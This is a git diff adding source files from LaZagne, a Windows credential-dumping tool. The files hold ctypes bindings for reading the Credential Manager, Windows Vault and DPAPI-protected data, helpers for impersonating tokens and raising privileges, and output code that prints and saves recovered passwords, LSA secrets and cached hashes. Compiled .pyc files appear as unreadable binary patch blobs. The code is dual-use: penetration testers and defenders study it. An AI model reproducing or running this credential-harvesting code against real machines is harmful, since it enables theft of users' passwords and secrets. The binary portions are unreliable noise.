= [ + ("Sid", PSID), + ("Attributes", DWORD), + ] + + +class TOKEN_USER(Structure): + _fields_ = [ + ("User", SID_AND_ATTRIBUTES), ] + + +class LUID_AND_ATTRIBUTES(Structure): + _fields_ = [ + ("Luid", LUID), + ("Attributes", DWORD), + ] + + +class TOKEN_PRIVILEGES(Structure): + _fields_ = [ + ("PrivilegeCount", DWORD), + ("Privileges", LUID_AND_ATTRIBUTES), + ] + + +PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES) + + +class SECURITY_ATTRIBUTES(Structure): + _fields_ = [ + ("nLength", DWORD), + ("lpSecurityDescriptor", LPVOID), + ("bInheritHandle", BOOL), + ] + + +PSECURITY_ATTRIBUTES = POINTER(SECURITY_ATTRIBUTES) + + +class SID_NAME_USE(DWORD): + _sid_types = dict(enumerate(''' + User Group Domain Alias WellKnownGroup DeletedAccount + Invalid Unknown Computer Label'''.split(), 1)) + + def __init__(self, value=None): + if value is not None: + if value not in self.sid_types: + raise ValueError('invalid SID type') + DWORD.__init__(value) + + def __str__(self): + if self.value not in self._sid_types: + raise ValueError('invalid SID type') + return self._sid_types[self.value] + + def __repr__(self): + return 'SID_NAME_USE(%s)' % self.value + + +PSID_NAME_USE = POINTER(SID_NAME_USE) + +# ############################# Load dlls ############################## + +advapi32 = WinDLL('advapi32', use_last_error=True) +crypt32 = WinDLL('crypt32', use_last_error=True) +kernel32 = WinDLL('kernel32', use_last_error=True) +psapi = WinDLL('psapi', use_last_error=True) +ntdll = WinDLL('ntdll', use_last_error=True) + +# ############################# Functions ############################## + +RevertToSelf = advapi32.RevertToSelf +RevertToSelf.restype = BOOL +RevertToSelf.argtypes = [] + +ImpersonateLoggedOnUser = advapi32.ImpersonateLoggedOnUser +ImpersonateLoggedOnUser.restype = BOOL +ImpersonateLoggedOnUser.argtypes = [HANDLE] + +DuplicateTokenEx = advapi32.DuplicateTokenEx +DuplicateTokenEx.restype = BOOL +DuplicateTokenEx.argtypes = [HANDLE, DWORD, PSECURITY_ATTRIBUTES, DWORD, DWORD, POINTER(HANDLE)] + +AdjustTokenPrivileges = advapi32.AdjustTokenPrivileges +AdjustTokenPrivileges.restype = BOOL +AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, POINTER(DWORD)] + +LookupPrivilegeValueA = advapi32.LookupPrivilegeValueA +LookupPrivilegeValueA.restype = BOOL +LookupPrivilegeValueA.argtypes = [LPCTSTR, LPCTSTR, PLUID] + +ConvertSidToStringSid = advapi32.ConvertSidToStringSidW +ConvertSidToStringSid.restype = BOOL +ConvertSidToStringSid.argtypes = [DWORD, POINTER(LPWSTR)] + +LookupAccountSid = advapi32.LookupAccountSidW +LookupAccountSid.restype = BOOL +LookupAccountSid.argtypes = [LPCWSTR, PSID, LPCWSTR, LPDWORD, LPCWSTR, LPDWORD, PSID_NAME_USE] + +LocalAlloc = kernel32.LocalAlloc +LocalAlloc.restype = HANDLE +LocalAlloc.argtypes = [PSID, DWORD] + +GetTokenInformation = advapi32.GetTokenInformation +GetTokenInformation.restype = BOOL +GetTokenInformation.argtypes = [HANDLE, DWORD, LPVOID, DWORD, POINTER(DWORD)] + +OpenProcess = kernel32.OpenProcess +OpenProcess.restype = HANDLE +OpenProcess.argtypes = [DWORD, BOOL, DWORD] + +OpenProcessToken = advapi32.OpenProcessToken +OpenProcessToken.restype = BOOL +OpenProcessToken.argtypes = [HANDLE, DWORD, POINTER(HANDLE)] + +CloseHandle = kernel32.CloseHandle +CloseHandle.restype = BOOL +CloseHandle.argtypes = [HANDLE] + +CredEnumerate = advapi32.CredEnumerateA +CredEnumerate.restype = BOOL +CredEnumerate.argtypes = [LPCTSTR, DWORD, POINTER(DWORD), POINTER(POINTER(PCREDENTIAL))] + +CredFree = advapi32.CredFree +CredFree.restype = PVOID +CredFree.argtypes = [PVOID] + +LocalFree = kernel32.LocalFree +LocalFree.restype = HANDLE +LocalFree.argtypes = [HANDLE] + +CryptUnprotectData = crypt32.CryptUnprotectData +CryptUnprotectData.restype = BOOL +CryptUnprotectData.argtypes = [POINTER(DATA_BLOB), POINTER(LPWSTR), POINTER(DATA_BLOB), PVOID, + PCRYPTPROTECT_PROMPTSTRUCT, DWORD, POINTER(DATA_BLOB)] + +# these functions do not exist on XP workstations +try: + prototype = WINFUNCTYPE(ULONG, DWORD, LPDWORD, POINTER(LPGUID)) + vaultEnumerateVaults = prototype(("VaultEnumerateVaults", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, LPGUID, DWORD, HANDLE) + vaultOpenVault = prototype(("VaultOpenVault", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, HANDLE, DWORD, LPDWORD, POINTER(c_char_p)) + vaultEnumerateItems = prototype(("VaultEnumerateItems", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, + POINTER(PVAULT_ITEM_WIN8)) + vaultGetItem8 = prototype(("VaultGetItem", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, HANDLE, LPGUID, PVAULT_ITEM_DATA, PVAULT_ITEM_DATA, HWND, DWORD, POINTER(PVAULT_ITEM_WIN7)) + vaultGetItem7 = prototype(("VaultGetItem", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, LPVOID) + vaultFree = prototype(("VaultFree", windll.vaultcli)) + + prototype = WINFUNCTYPE(ULONG, PHANDLE) + vaultCloseVault = prototype(("VaultCloseVault", windll.vaultcli)) + + def get_vault_objects_for_this_version_of_windows(): + """ + @return: Tuple[ + Type of vault item, + Pointer to type of vault item, + VaultGetItem function as Callable[[vault_handle, vault_item_prt, password_vault_item_ptr], int] + ] + """ + os_version_float = float(get_os_version()) + if os_version_float == 6.1: + # Windows 7 + return ( + VAULT_ITEM_WIN7, + PVAULT_ITEM_WIN7, + lambda hVault, pVaultItem, pPasswordVaultItem: + vaultGetItem7(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername, + None, 0, byref(pPasswordVaultItem)) + ) + elif os_version_float > 6.1: + # Later than Windows7 + return ( + VAULT_ITEM_WIN8, + PVAULT_ITEM_WIN8, + lambda hVault, pVaultItem, pPasswordVaultItem: + vaultGetItem8(hVault, byref(pVaultItem.id), pVaultItem.pResource, pVaultItem.pUsername, + pVaultItem.pPackageSid, # additional parameter compared to Windows 7 + None, 0, byref(pPasswordVaultItem)) + ) + + raise Exception("Vault is not supported for this version of OS") + +except Exception: + pass + +GetModuleFileNameEx = psapi.GetModuleFileNameExW +GetModuleFileNameEx.restype = DWORD +GetModuleFileNameEx.argtypes = [HANDLE, HMODULE, LPWSTR, DWORD] + + +# ############################# Custom functions ############################## + + +def EnumProcesses(): + _EnumProcesses = psapi.EnumProcesses + _EnumProcesses.argtypes = [LPVOID, DWORD, LPDWORD] + _EnumProcesses.restype = bool + + size = 0x1000 + cbBytesReturned = DWORD() + unit = sizeof(DWORD) + dwOwnPid = os.getpid() + while 1: + ProcessIds = (DWORD * (size // unit))() + cbBytesReturned.value = size + _EnumProcesses(byref(ProcessIds), cbBytesReturned, byref(cbBytesReturned)) + returned = cbBytesReturned.value + if returned < size: + break + size = size + 0x1000 + ProcessIdList = list() + for ProcessId in ProcessIds: + if ProcessId is None: + break + if ProcessId == dwOwnPid: + continue + ProcessIdList.append(ProcessId) + return ProcessIdList + + +def LookupAccountSidW(lpSystemName, lpSid): + # From https://github.com/MarioVilas/winappdbg/blob/master/winappdbg/win32/advapi32.py + _LookupAccountSidW = advapi32.LookupAccountSidW + _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD] + _LookupAccountSidW.restype = BOOL + + ERROR_INSUFFICIENT_BUFFER = 122 + cchName = DWORD(0) + cchReferencedDomainName = DWORD(0) + peUse = DWORD(0) + success = _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), + byref(peUse)) + error = GetLastError() + if not success or error == ERROR_INSUFFICIENT_BUFFER: + lpName = create_unicode_buffer(u'', cchName.value + 1) + lpReferencedDomainName = create_unicode_buffer(u'', cchReferencedDomainName.value + 1) + success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, + byref(cchReferencedDomainName), byref(peUse)) + if success: + return lpName.value, lpReferencedDomainName.value, peUse.value + + return None, None, None + + +def QueryFullProcessImageNameW(hProcess, dwFlags=0): + _QueryFullProcessImageNameW = kernel32.QueryFullProcessImageNameW + _QueryFullProcessImageNameW.argtypes = [HANDLE, DWORD, LPWSTR, POINTER(DWORD)] + _QueryFullProcessImageNameW.restype = bool + ERROR_INSUFFICIENT_BUFFER = 122 + + dwSize = MAX_PATH + while 1: + lpdwSize = DWORD(dwSize) + lpExeName = create_unicode_buffer('', lpdwSize.value + 1) + success = _QueryFullProcessImageNameW(hProcess, dwFlags, lpExeName, byref(lpdwSize)) + if success and 0 < lpdwSize.value < dwSize: + break + error = GetLastError() + if error != ERROR_INSUFFICIENT_BUFFER: + return False + dwSize = dwSize + 256 + if dwSize > 0x1000: + # this prevents an infinite loop in Windows 2008 when the path has spaces, + # see http://msdn.microsoft.com/en-us/library/ms684919(VS.85).aspx#4 + return False + return lpExeName.value + + +def RtlAdjustPrivilege(privilege_id): + """ + privilege_id: int + """ + _RtlAdjustPrivilege = ntdll.RtlAdjustPrivilege + _RtlAdjustPrivilege.argtypes = [ULONG, BOOL, BOOL, POINTER(BOOL)] + _RtlAdjustPrivilege.restype = LONG + + Enable = True + CurrentThread = False # enable for whole process + Enabled = BOOL() + + status = _RtlAdjustPrivilege(privilege_id, Enable, CurrentThread, byref(Enabled)) + if status != 0: + return False + + return True + + +def getData(blobOut): + cbData = blobOut.cbData + pbData = blobOut.pbData + buffer = create_string_buffer(cbData) + memmove(buffer, pbData, sizeof(buffer)) + LocalFree(pbData); + return buffer.raw + + +def get_full_path_from_pid(pid): + if pid: + filename = create_unicode_buffer("", 256) + hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, False, int(pid)) + if not hProcess: + return False + + size = GetModuleFileNameEx(hProcess, None, filename, 256) + CloseHandle(hProcess) + if size: + return filename.value + else: + return False + + +python_version = 2 +if sys.version_info[0]: + python_version = sys.version_info[0] + + +def Win32CryptUnprotectData(cipherText, entropy=False, is_current_user=True, user_dpapi=False): + if python_version == 2: + cipherText = str(cipherText) + + decrypted = None + + if is_current_user: + bufferIn = c_buffer(cipherText, len(cipherText)) + blobIn = DATA_BLOB(len(cipherText), bufferIn) + blobOut = DATA_BLOB() + + if entropy: + bufferEntropy = c_buffer(entropy, len(entropy)) + blobEntropy = DATA_BLOB(len(entropy), bufferEntropy) + + if CryptUnprotectData(byref(blobIn), None, byref(blobEntropy), None, None, 0, byref(blobOut)): + decrypted = getData(blobOut) + + else: + if CryptUnprotectData(byref(blobIn), None, None, None, None, 0, byref(blobOut)): + decrypted = getData(blobOut) + + if not decrypted: + can_decrypt = True + if not (user_dpapi and user_dpapi.unlocked): + from lazagne.config.dpapi_structure import are_masterkeys_retrieved + can_decrypt = are_masterkeys_retrieved() + + if can_decrypt: + try: + decrypted = user_dpapi.decrypt_encrypted_blob(cipherText) + except: + # The encrypted blob cannot be parsed - weird (could happen with chrome v80) + return None + if decrypted is False: + decrypted = None + else: + # raise ValueError('MasterKeys not found') + pass + + if not decrypted: + if not user_dpapi: + # raise ValueError('DPApi unavailable') + pass + elif not user_dpapi.unlocked: + # raise ValueError('DPApi locked') + pass + + return decrypted + + +def get_os_version(): + """ + return major anr minor version + https://msdn.microsoft.com/en-us/library/windows/desktop/ms724832(v=vs.85).aspx + """ + os_version = OSVERSIONINFOEXW() + os_version.dwOSVersionInfoSize = sizeof(os_version) + retcode = windll.Ntdll.RtlGetVersion(byref(os_version)) + if retcode != 0: + return False + + return '%s.%s' % (str(os_version.dwMajorVersion.real), str(os_version.dwMinorVersion.real)) + + +def isx64machine(): + archi = os.environ.get("PROCESSOR_ARCHITEW6432", '') + if '64' in archi: + return True + + archi = os.environ.get("PROCESSOR_ARCHITECTURE", '') + if '64' in archi: + return True + + return False + + +def OpenKey(key, path, index=0, access=KEY_READ): + if isx64: + return winreg.OpenKey(key, path, index, access | winreg.KEY_WOW64_64KEY) + else: + return winreg.OpenKey(key, path, index, access) + + +isx64 = isx64machine() + + +def string_to_unicode(string): + if python_version == 2: + return unicode(string) + else: + return string # String on python 3 are already unicode + + +def chr_or_byte(integer): + if python_version == 2: + return chr(integer) + else: + return bytes([integer]) # Python 3 + + +def int_or_bytes(integer): + if python_version == 2: + return integer + else: + return bytes([integer]) # Python 3 + + +def char_to_int(string): + if python_version == 2 or isinstance(string, str): + return ord(string) + else: + return string # Python 3 + + +def convert_to_byte(string): + if python_version == 2: + return string + else: + return string.encode() # Python 3 diff --git a/lazagne/config/write_output.py b/lazagne/config/write_output.py new file mode 100644 index 0000000..c6e808e --- /dev/null +++ b/lazagne/config/write_output.py @@ -0,0 +1,352 @@ +# -*- coding: utf-8 -*- +import ctypes +import getpass +import json +import logging +import os +import socket +import sys +import traceback + +from time import gmtime, strftime +from platform import uname + +from lazagne.config.users import get_username_winapi +from lazagne.config.winstructure import string_to_unicode, char_to_int, chr_or_byte, python_version +from .constant import constant + +# --------------------------- Standard output functions --------------------------- + +STD_OUTPUT_HANDLE = -11 +std_out_handle = ctypes.windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE) +tmp_user = None + + +class StandardOutput(object): + def __init__(self): + self.banner = ''' +|====================================================================| +| | +| The LaZagne Project | +| | +| ! BANG BANG ! | +| | +|====================================================================| +''' + self.FILTER = b''.join([((len(repr(chr_or_byte(x))) == 3 and python_version == 2) or + (len(repr(chr_or_byte(x))) == 4 and python_version == 3)) + and chr_or_byte(x) or b'.' for x in range(256)]) + + def set_color(self, color='white', intensity=False): + c = {'white': 0x07, 'red': 0x04, 'green': 0x02, 'cyan': 0x03}.get(color, None) + + if intensity: + c |= 0x08 + + ctypes.windll.kernel32.SetConsoleTextAttribute(std_out_handle, c) + + # print banner + def first_title(self): + self.do_print(message=self.banner, color='white', intensity=True) + # Python 3.7.3 on Darwin x86_64: i386 + python_banner = 'Python {}.{}.{} on'.format(*sys.version_info) + " {0} {4}: {5}\n".format(*uname()) + self.print_logging(function=logging.debug, message=python_banner, prefix='[!]', color='white', intensity=True) + + # info option for the logging + def print_title(self, title): + t = u'------------------- ' + title + ' passwords -----------------\n' + self.do_print(message=t, color='white', intensity=True) + + # debug option for the logging + def title_info(self, title): + t = u'------------------- ' + title + ' passwords -----------------\n' + self.print_logging(function=logging.info, prefix='', message=t, color='white', intensity=True) + + def print_user(self, user, force_print=False): + if logging.getLogger().isEnabledFor(logging.INFO) or force_print: + self.do_print(u'\n########## User: {user} ##########\n'.format(user=user)) + + def print_footer(self, elapsed_time=None): + footer = '\n[+] %s passwords have been found.\n' % str(constant.nb_password_found) + if not logging.getLogger().isEnabledFor(logging.INFO): + footer += 'For more information launch it again with the -v option\n' + if elapsed_time: + footer += '\nelapsed time = ' + str(elapsed_time) + self.do_print(footer) + + def print_hex(self, src, length=8): + N = 0 + result = b'' + while src: + s, src = src[:length], src[length:] + hexa = b' '.join([b"%02X" % char_to_int(x) for x in s]) + s = s.translate(self.FILTER) + result += b"%04X %-*s %s\n" % (N, length * 3, hexa, s) + N += length + return result + + def try_unicode(self, obj, encoding='utf-8'): + if python_version == 3: + try: + return obj.decode() + except Exception: + return obj + try: + if isinstance(obj, basestring): # noqa: F821 + if not isinstance(obj, unicode): # noqa: F821 + obj = unicode(obj, encoding) # noqa: F821 + except UnicodeDecodeError: + return repr(obj) + return obj + + # centralize print function + def do_print(self, message='', color=False, intensity=False): + # quiet mode => nothing is printed + if constant.quiet_mode: + return + + message = self.try_unicode(message) + if color: + self.set_color(color=color, intensity=intensity) + self.print_without_error(message) + self.set_color() + else: + self.print_without_error(message) + + def print_without_error(self, message): + try: + print(message.decode()) + except Exception: + try: + print(message) + except Exception: + print(repr(message)) + + def print_logging(self, function, prefix='[!]', message='', color=False, intensity=False): + if constant.quiet_mode: + return + + try: + msg = u'{prefix} {msg}'.format(prefix=prefix, msg=message) + except Exception: + msg = '{prefix} {msg}'.format(prefix=prefix, msg=str(message)) + + if color: + self.set_color(color, intensity) + function(msg) + self.set_color() + else: + function(msg) + + def print_output(self, software_name, pwd_found): + if pwd_found: + # if the debug logging level is not apply => print the title + if not logging.getLogger().isEnabledFor(logging.INFO): + # print the username only if password have been found + user = constant.finalResults.get('User', '') + global tmp_user + if user != tmp_user: + tmp_user = user + self.print_user(user, force_print=True) + + # if not title1: + self.print_title(software_name) + + # Particular passwords representation + to_write = [] + if software_name in ('Hashdump', 'Lsa_secrets', 'Mscache'): + pwds = pwd_found[1] + for pwd in pwds: + self.do_print(pwd) + if software_name == 'Lsa_secrets': + hex_value = self.print_hex(pwds[pwd], length=16) + to_write.append([pwd.decode(), hex_value.decode()]) + self.do_print(hex_value) + else: + to_write.append(pwd) + self.do_print() + + # Other passwords + else: + # Remove duplicated password + pwd_found = [dict(t) for t in set([tuple(d.items()) for d in pwd_found])] + + # Loop through all passwords found + for pwd in pwd_found: + + # Detect which kinds of password has been found + pwd_lower_keys = {k.lower(): v for k, v in pwd.items()} + for p in ('password', 'key', 'hash'): + pwd_category = [s for s in pwd_lower_keys if p in s] + if pwd_category: + pwd_category = pwd_category[0] + break + + write_it = False + passwd = None + try: + passwd_str = pwd_lower_keys[pwd_category] + # Do not print empty passwords + if not passwd_str: + continue + + passwd = string_to_unicode(passwd_str) + except Exception: + pass + + # No password found + if not passwd: + print_debug("FAILED", u'Password not found !!!') + else: + constant.nb_password_found += 1 + write_it = True + print_debug("OK", u'{pwd_category} found !!!'.format( + pwd_category=pwd_category.title())) + + # Store all passwords found on a table => for dictionary attack if master password set + if passwd not in constant.password_found: + constant.password_found.append(passwd) + + pwd_info = [] + for p in pwd: + try: + pwd_line = '%s: %s' % (p, pwd[p].decode()) # Manage bytes output (py 3) + except Exception: + pwd_line = '%s: %s' % (p, pwd[p]) + + pwd_info.append(pwd_line) + self.do_print(pwd_line) + + self.do_print() + + if write_it: + to_write.append(pwd_info) + + # write credentials into a text file + self.checks_write(to_write, software_name) + else: + print_debug("INFO", "No passwords found\n") + + def write_header(self): + time = strftime("%Y-%m-%d %H:%M:%S", gmtime()) + try: + hostname = socket.gethostname().decode(sys.getfilesystemencoding()) + except AttributeError: + hostname = socket.gethostname() + + header = u'{banner}\r\n- Date: {date}\r\n- Username: {username}\r\n- Hostname:{hostname}\r\n\r\n'.format( + banner=self.banner.replace('\n', '\r\n'), + date=str(time), + username=get_username_winapi(), + hostname=hostname + ) + with open(os.path.join(constant.folder_name, '{}.txt'.format(constant.file_name_results)), "ab+") as f: + f.write(header.encode()) + + def write_footer(self): + footer = '\n[+] %s passwords have been found.\r\n\r\n' % str(constant.nb_password_found) + open(os.path.join(constant.folder_name, '%s.txt' % constant.file_name_results), "a+").write(footer) + + def checks_write(self, values, category): + if values: + if 'Passwords' not in constant.finalResults: + constant.finalResults['Passwords'] = [] + constant.finalResults['Passwords'].append((category, values)) + + +def print_debug(error_level, message): + # Quiet mode => nothing is printed + if constant.quiet_mode: + return + + # print when password is found + if error_level == 'OK': + constant.st.do_print(message='[+] {message}'.format(message=message), color='green') + + # print when password is not found + elif error_level == 'FAILED': + constant.st.do_print(message='[-] {message}'.format(message=message), color='red', intensity=True) + + elif error_level == 'CRITICAL' or error_level == 'ERROR': + constant.st.print_logging(function=logging.error, prefix='[-]', message=message, color='red', intensity=True) + + elif error_level == 'WARNING': + constant.st.print_logging(function=logging.warning, prefix='[!]', message=message, color='cyan') + + elif error_level == 'DEBUG': + constant.st.print_logging(function=logging.debug, message=message, prefix='[!]') + + else: + constant.st.print_logging(function=logging.info, message=message, prefix='[!]') + +# --------------------------- End of output functions --------------------------- + +def json_to_string(json_string): + string = u'' + try: + for json in json_string: + if json: + string += u'################## User: {username} ################## \r\n'.format(username=json['User']) + if 'Passwords' not in json: + string += u'\r\nNo passwords found for this user !\r\n\r\n' + else: + for pwd_info in json['Passwords']: + category, pwds_tab = pwd_info + + string += u'\r\n------------------- {category} -----------------\r\n'.format( + category=category) + + if category.lower() in ('lsa_secrets', 'hashdump', 'cachedump'): + for pwds in pwds_tab: + if category.lower() == 'lsa_secrets': + for d in pwds: + string += u'%s\r\n' % (constant.st.try_unicode(d)) + else: + string += u'%s\r\n' % (constant.st.try_unicode(pwds)) + else: + for pwds in pwds_tab: + string += u'\r\nPassword found !!!\r\n' + for pwd in pwds: + try: + name, value = pwd.split(':', 1) + string += u'%s: %s\r\n' % ( + name.strip(), constant.st.try_unicode(value.strip())) + except Exception: + print_debug('DEBUG', traceback.format_exc()) + string += u'\r\n' + except Exception: + print_debug('ERROR', u'Error parsing the json results: {error}'.format(error=traceback.format_exc())) + + return string + + +def write_in_file(result): + """ + Write output to file (json and txt files) + """ + if result: + if constant.output in ('json', 'all'): + try: + # Human readable Json format + pretty_json = json.dumps(result, sort_keys=True, indent=4, separators=(',', ': '), ensure_ascii=False) + with open(os.path.join(constant.folder_name, constant.file_name_results + '.json'), 'ab+') as f: + f.write(pretty_json.encode()) + + constant.st.do_print(u'[+] File written: {file}'.format( + file=os.path.join(constant.folder_name, constant.file_name_results + '.json')) + ) + except Exception as e: + print_debug('DEBUGG', traceback.format_exc()) + + if constant.output in ('txt', 'all'): + try: + with open(os.path.join(constant.folder_name, constant.file_name_results + '.txt'), 'ab+') as f: + a = json_to_string(result) + f.write(a.encode()) + + constant.st.write_footer() + constant.st.do_print(u'[+] File written: {file}'.format( + file=os.path.join(constant.folder_name, constant.file_name_results + '.txt')) + ) + except Exception as e: + print_debug('DEBUG', traceback.format_exc()) diff --git a/lazagne/softwares/__init__.py b/lazagne/softwares/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/lazagne/softwares/__pycache__/__init__.cpython-37.pyc b/lazagne/softwares/__pycache__/__init__.cpython-37.pyc new file mode 100644 index 0000000000000000000000000000000000000000..db1a204f8f19ade912358e2ed4157560671ceb25 GIT binary patch literal 149 zcmZ?b<>g`k0?yb|aUl9Jh=2h`Aj1KOi&=m~3PUi1CZpdg`k0?yb|aUl9Jh(HF6K#l_t7qb9~6oz01O-8?!3`HPe1o6vRKR2&LKO;S@ zSl=TtIa}W+KRq)~za&3Dr%Kg`k0?yb|aUl9Jh(HF6K#l_t7qb9~6oz01O-8?!3`HPe1o10cKeRZts93)s zu}t43Ke;qFHLs*t-#I70G$ptsu_QA;Pv0XkIa}W+KRq)~za&3Dr%Kg`k0?yb|aUl9Jh=2h`Aj1KOi&=m~3PUi1CZpdg`k0?yb|aUl9Jh(HF6K#l_t7qb9~6oz01O-8?!3`HPe1o6v9KR2&LKO;S@ zSl=TtIa}W+KRq)~za&3Dr%Kg`k0?yb|aUl9Jh(HF6K#l_t7qb9~6oz01O-8?!3`HPe1o10HKeRZts93)s zu}t43Ke;qFHLs*t-#I70G$ptsu_QA;Pv0XkIa}W+KRq)~za&3Dr%K0|J-5IKv-dsS5wp$N65 zIPqI`RQ}c+jo-SX^V@I?erKEvzfH%)TWe+8mSeSZPEMuzdMn>9I0cRytzvt~8RB@R zRca4A!yGqTBkeuT9*$>QqwO(gjN?{oyuH`i%kf-mqCM$Mw)Z*v_*-pFIaBK+=po;l zZa?8Xp(=Njj%_IJ{^h*<7geD@&V4e@{gTqr-d0>==_#R1De@PCnDewKh~j&SW4mKw z=z;1yBTCKzF)T)q_N>?=M)7`5JSoP+_!x zg6X^<)LTmVsZCndxw01Jec9}_+^TTBNWXCYLRpRWp1XAG&8~2-H?H?wS@WCSPMncl zaQ&)i)=|c)cRQY6>-dOggUI{Q++3~gUXrpaBfZJvR6BpB$USK6S8p6`cl@J^3k~n+m0ErI=(X-b zvvbt%c3Z*GH`i~uHUGTZ@{hJ^L2aSq9`(8n|9(xn-qCs4y^nEvN88hd(= zV3fKl)E8^A>UXP{>1UAOQA3I<_aWTTfsO?3fX*3pAk+sM7EYTBGOK>$$SLY#e%*Jy zvWhdZ?twfy3%k1;#_r#9rB6Ll;R+fXbU963a`%WBcrtjn%fCRxrw-M==Bu=CeP!(s zhM+AQ@|3S_=t9SraaMV#h1#Uj$KHy}=as&)GI~c@JLwyKCe$9F{zc`>(|tYELVb!_ zG#{u!n^Kl_dF6((a^+5v*4Km7 zT2i*cg|9a3ZjVk{t+myt-Sq5*<~_G#*E+&pkf2LyV6oP*16Otr+r65=r)xK4x8vL0 z27PdI+uFD9H~mF>zS*hCb*|>wUY8p2xoXSpEFd2})$I0a%O_@lmf}_hvx~!*-5CMx29coriW7e~c&;(5gO zieuuScmc5qaY&R=YErx?K7;o@aabI|drH_K%b6(qX3T`@bjs*QZxhc2Jl;tJI3Y?^ z32~~bYKRk8)dYq3-Y^96mbC9d{^6~BPx*oIP$hYUrj5DC8gROxnDk;_?n*n*?IU(M zL)+>vM%h+(0gQ7YGCJV3kO`pAg|1wWGQyo-T__vi`fjTc6_duQR7@Viz#@~Xx^nlf zTUBtdreCezqA4&IP)%$y9yJ(AMp79RO4$st8`^80IFT1kX#-PErvw(N$ue@H40`QK zd>x^$Y}@s`8b(5LAr6S4N+P(scoMD_3=R6`+P_i9MzhoCCjH9Uv^(yY`#g@c>b5=y zD_^0Cze$(!Fk1U{JyQPswjR@2^8WoMT}D|5$_{Aa*L8aWUAo)49Ud%hQa9~5i$X*M zysvpMA76O@Hol^(vIP{Htn4yubym*J;;0eH)!gBs2RT`?&H&rDV$KfmrYhx%hA2R*kfk?!d&EGNK zR$_=4>Nupi;8|wUkTmwSrUyCGYS}&6Z8Tf1m*xb;K@zB_8D($81tQ}H4)C0lzv|s| zTYz}?+(?~?)MLT1a~+#$-0s%vt5UkczQ2ejZAc%1eNDTd_D6c5gh%Jf?DiCR1 zFFxSLQn%T0EYGczRP&-d(4zD`5=KsbvF24{aTn>plu?GnW-l^py`I|YrOE&L!)gnw5M`4dx00Dvsk={jG)`c)ftDKGwd!Dz z7KtjKL!cO@YG@iHOi7(Utf-Et`|*tG)0&};YNP4_HP}C(+s8GP5;5_k9G*HJuL4%J z{+=KN1RT2r%tM$2q^Cd7J}d#PfSeyHeFK}WenGjZysdT59pA^$*<|8blTqAU2tjUf;^T0*Ix zp=S+b`7T&#N#MW;^8@X!-p}@}elE;X&iZ$`?=00=n+Q!Dx)Ly!CM;+#5s+AP2W`+- zKaY0~?}9%p^2^k2$sY*|7*QcC_0p=LC0EuH(kvV4t9yZCd1N0^&?F} zE^h3jcz>AZJ{&^R5_>+-x6PhQElq{PVHTsziO~-X9%o$p|1wTZ9{Q9Wz&Ke~8w)nl zTW~&Y{4ss$3tyigHU?)x2W@Zl8W{xH8c0BKfY~BO>c!eSACgIdgLIpt{Rl%kZ_DPAt zdy|wR9xzQxK7p^xWvC8#%c}^YLdU&dP1XZ&HBMV-b?0lXs#k0ITr|qN9bc|#3vn%W?IBVVE5Woj+!t+cQN$D=HirVjX4WP-1HP)oD!npUBD-I&6j7X3Q6QB z=gV5%ohRg+k6B;UU8_fX+qDj$N;O`cba6_(b$_wj8H_m6!Av9b!W-wRS1(GEpphAC z;ZYH9qLk`!X#4UUWr1t=P}*Gs?*x-39$uaIgqV*;X-u`cUj;*zV3k<8@<;-j5_TEs zP=_P6!Bg|G9+5$FjMTckPLts!y@8mcW4|1OHq0r+gAr9E$!nCEL(|8>id!zP^)4tD zvDE=ZzK*h91A&s!z>z1^QOy8vwT#;{}9MdL%(Nl;==4yv@Bapi)BDJ=A)oTkJx~Zn-~0g&2uy!T5He zGbr%?7~8AYHc4;TJ~p|81dMZ;(pwblM8{Eq2FD88y!&s+AB=5m``D8FR68Lcmue^f zh!2<_uxwLg2QWB}WkVd2P3ULA`=F_xS?Ho*wZNhP!$0GHNjV<1f+yTaT)rO$jDHU?|u8l+T47?ap6w3}Tv0SO1+ zB=?Mc3i|r{LCZ;tnL&#xYTrUXWGM*jlv96^m@^Kq%}_c`=4FY0L%?LQc?_|+ zvaw04vq|O>*%{U&`5x>rezoRxX3BX!h4Jo?p~=x?%gOlbJ+}(IiuHLYUdzp% z12D7#^65ktA8d*l2xfQfr}WXv&+)LSO)-i%PDQP#n}9l`UK=<{2XHisc<8UFPOHJ_ zV6V4EmQvwfv_+7IPslGBx6@WXfZ+e|M+6aYUVzI1ca#knaR`?aS{DXPIH!@O1C0Yz z(4r9^q2_?!U~5_ zPwVeVzO%_UAOz z&xS=Dm(jH=zJ<|P<2XEkV5a~?Xnv#N5V#PvPxHeU)x=TY^nEl(fGxB+MrA%ySC-HR zT1S7mmG?+D5v3S_HkJPPTE(}7?&rchpqKSPM?cf(Cr^EZY;x$<7p_6#mdU6^7%6Q|UItBWo_r~Y>MM@yGI5HO@hFuwDcvw+38GvK;ApXhP z7-c#TNS?#Tnqp*-S#aU@n4fX7-A2Q6ea|Vxkt!_4o+PElF*=AxIt2z*i{)_A!XR~>y2FpmBP4O@+gpPCg;;=qm`Wd<1E@|g?rQQsx8*hJ=RH`H$Y5bjm>i`DfNt~JuofRp=2L}RuXJ8PCf0KA0K zeC?smwR3~iG$o&;ZK%X|H?rIU71YKTkqsMMotO6X>5ZGEV0 z>3$4GMsGaWo8eE*FLC||_}4J^_OCpqojX(Xhr|ffK?7Wp6tN6A^60MqlD=qXvARP$ z_xhWvUjpZbmG%Sen~E6U82*Ox4Yi@Mwbt@S1Y7{`!>!=&A}qjx*blPvSUijw5LP&nKUJGAG|eG}!w{CDb_n 